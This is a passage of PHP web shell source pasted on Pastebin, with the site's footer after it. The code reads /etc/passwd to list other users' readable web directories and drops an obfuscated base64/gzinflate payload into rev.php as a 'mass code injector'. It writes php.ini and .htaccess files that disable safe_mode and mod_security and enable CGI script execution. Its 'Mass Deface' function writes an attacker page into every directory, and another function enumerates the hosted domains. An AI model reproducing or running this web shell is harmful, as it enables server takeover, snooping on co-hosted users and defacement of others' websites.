  3136. echo '<div class="content">';
  3137. $sm = ini_get('safe_mode');
  3138. if($sm) {
  3139. echo '<br /><b>Error: safe_mode = on</b><br /><br />';
  3140. } else {
  3141. @$passwd = file('/etc/passwd','r');
  3142. if (!$passwd) {
  3143. echo '<br /><b>[-] Error : coudn`t read /etc/passwd</b><br /><br />';
  3144. } else {
  3145. $pub = array();
  3146. $users = array();
  3147. $conf = array();
  3148. $i = 0;
  3149. foreach($passwd as $p) {
  3150. $r = explode(':',$p);
  3151. $dirz = $r[5].'/public_html/';
  3152. if(strpos($r[5],'home')) {
  3153. array_push($users,$r[0]);
  3154. if (is_readable($dirz)) {
  3155. array_push($pub,$dirz);
  3156. }
  3157. }
  3158. }
  3159. echo '<br><br>';
  3160. echo "[+] Founded ".sizeof($users)." entrys in /etc/passwd\n"."<br />";
  3161. echo "[+] Founded ".sizeof($pub)." readable public_html directories\n"."<br /><br /><br />";
  3162. foreach ($pub as $user) {
  3163. echo $user."<br>";
  3164. }
  3165. echo "<br /><br /><br />[+] Complete...\n"."<br />";
  3166. }
  3167. }
  3168. echo '</div>';
  3169. printFooter();
  3170. }
  3171.  
  3172.  
  3173.  
  3174. function actionInjector(){
  3175. printHeader();
  3176. $rev = "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";
  3177. $handle = @fopen("rev.php", "w");
  3178. @fwrite($handle, htmlspecialchars_decode(gzinflate(base64_decode($rev))));
  3179. @fclose($handle);
  3180. ?>
  3181. <center><h1>Rev Mass Code Injector</h1><br><br>
  3182. <iframe src="rev.php" width="100%" height="700"></iframe>
  3183. </center>
  3184. <?php
  3185. printFooter();
  3186. }
  3187.  
  3188. function actionBypass() {
  3189. printHeader();
  3190. echo '<h1>Safe Mode</h1>';
  3191. echo '<div class="content">';
  3192. echo "<div class=header><center><h3><span>| SAFE MODE AND MOD SECURITY DISABLED AND PERL 500 INTERNAL ERROR BYPASS |</span></h3>Following php.ini and .htaccess(mod) and perl(.htaccess)[convert perl extention *.pl => *.sh ] files create in following dir<br>| ".$GLOBALS['cwd']." |<br><br />";
  3193. echo '<a href=# onclick="g(null,null,\'php.ini\',null)">| PHP.INI | </a><a href=# onclick="g(null,null,null,\'ini\')">| .htaccess(Mod) | </a><a href=# onclick="g(null,null,null,null,\'sh\')">| .htaccess(perl) | </a></center>';
  3194. if(!empty($_POST['p2']) && isset($_POST['p2']))
  3195. {
  3196. $fil=fopen($GLOBALS['cwd'].".htaccess","w");
  3197. fwrite($fil,'<IfModule mod_security.c>
  3198. Sec------Engine Off
  3199. Sec------ScanPOST Off
  3200. </IfModule>');
  3201. fclose($fil);
  3202. }
  3203. if(!empty($_POST['p1'])&& isset($_POST['p1']))
  3204. {
  3205. $fil=fopen($GLOBALS['cwd']."php.ini","w");
  3206. fwrite($fil,'safe_mode=OFF
  3207. disable_functions=NONE');
  3208. fclose($fil);
  3209. }
  3210. if(!empty($_POST['p3']) && isset($_POST['p3']))
  3211. {
  3212. $fil=fopen($GLOBALS['cwd'].".htaccess","w");
  3213. fwrite($fil,'Options FollowSymLinks MultiViews Indexes ExecCGI
  3214. AddType application/x-httpd-cgi .sh
  3215. AddHandler cgi-script .pl
  3216. AddHandler cgi-script .pl');
  3217. fclose($fil);
  3218. }
  3219. echo "<br><br /><br /></div>";
  3220. echo '</div>';
  3221. printFooter();
  3222.  
  3223. }
  3224.  
  3225. function actionDeface() {
  3226. printHeader();
  3227. echo "<center><h1>Mass Deface</h1><div class=content>";
  3228. ?>
  3229. <center>
  3230. <form ENCTYPE="multipart/form-data" action="<?$_SERVER['PHP_SELF']?>" method=POST onSubmit="g(null,null,this.path.value,this.file.value,this.Contents.value);return false;">Folder: <br><input type=text name=path size=60 value="<?php echo getcwd(); ?>">
  3231. <br>File name: <br><input type=text name=file size=20 value="Pakistan_Zindabad.html"><br>Content:
  3232. <br> <textarea type=text name=Contents cols=70 rows=15 placeholder="Deface Page Here :)"></textarea>
  3233. <br><input type=submit value="Deface now"></p></form>
  3234.  
  3235. <?php
  3236. if ($_POST['a'] == 'Deface') {
  3237. $mainpath = $_POST[p1];
  3238. $file = $_POST[p2];
  3239. $txtContents = $_POST[p3];
  3240.  
  3241. $dir = opendir($mainpath); //fixme - cannot deface when change to writeable path!!
  3242. while ($row = readdir($dir)) {
  3243. $start = @fopen("$row/$file", "w+");
  3244. $code = $txtContents;
  3245. $finish = @fwrite($start, $code);
  3246. if ($finish) {
  3247. echo "http://$row/$file<br>";
  3248. }
  3249. }
  3250.  
  3251. }
  3252. echo '</div>';
  3253. printFooter();
  3254. }
  3255. function actionDomain() {
  3256. printHeader();
  3257. echo '<h1>Local Domains</h1><div class=content>';
  3258. $file = @implode(@file("/etc/named.conf"));
  3259. $Domain_path = "/var/named";
  3260. if (!$file) {
  3261. $domains = scandir($Domain_path);
  3262. $count=1;
  3263. $dc = 0;
  3264. echo "<table align=center border=1 width=59% cellpadding=5>
  3265. <tr><td colspan=2><center>There are : ( <b>" . count($domains) . "</b> ) Domains in this Sever.</center></td></tr>
  3266. <tr><td>No</td><td>Domains</td><td>User</td></tr>";
  3267. foreach ($domains as &$domain) {
  3268. if (stripos($domain,".db")) {
  3269. $domain = str_replace('.db','',$domain);
  3270.  
  3271. }
  3272. if (strlen($domain) > 6) {
  3273.  
  3274. echo "<tr><td><a href='http://".$domain."' target='_blank'>".'http://'.$domain.'/index.php'."</a></td><td></td></tr>";
  3275. }
  3276. }
  3277. echo "</table>";
  3278. } else{
  3279. $count = 1;
  3280. preg_match_all("#named/(.*?).db#", $file, $r);
  3281. $domains = array_unique($r[1]);
  3282. echo "<table align=center border=1 width=59% cellpadding=5>
  3283. <tr><td colspan=2> There are ( <b>" . count($domains) . "</b> ) Domains in this Sever.I think you have got something this time yeah!!!.</td></tr>
  3284. <tr><td>Domains";
  3285. foreach ($domains as $domain) {
  3286. $user = posix_getpwuid(@fileowner("/etc/valiases/" . $domain));
  3287. echo "<tr><td><a href='http://".$domain."' target='_blank'>".'http://'.$domain.'/index.php'."</a></td><td></td></tr>";
  3288. }
  3289. }
  3290. printFooter();
  3291. }
  3292. if( empty($_POST['a']) )
  3293. if(isset($default_action) && function_exists('action' . $default_action))
  3294. $_POST['a'] = $default_action;
  3295. else
  3296. $_POST['a'] = 'SecInfo';
  3297. if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) )
  3298. call_user_func('action' . $_POST['a'])
  3299. ?>
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!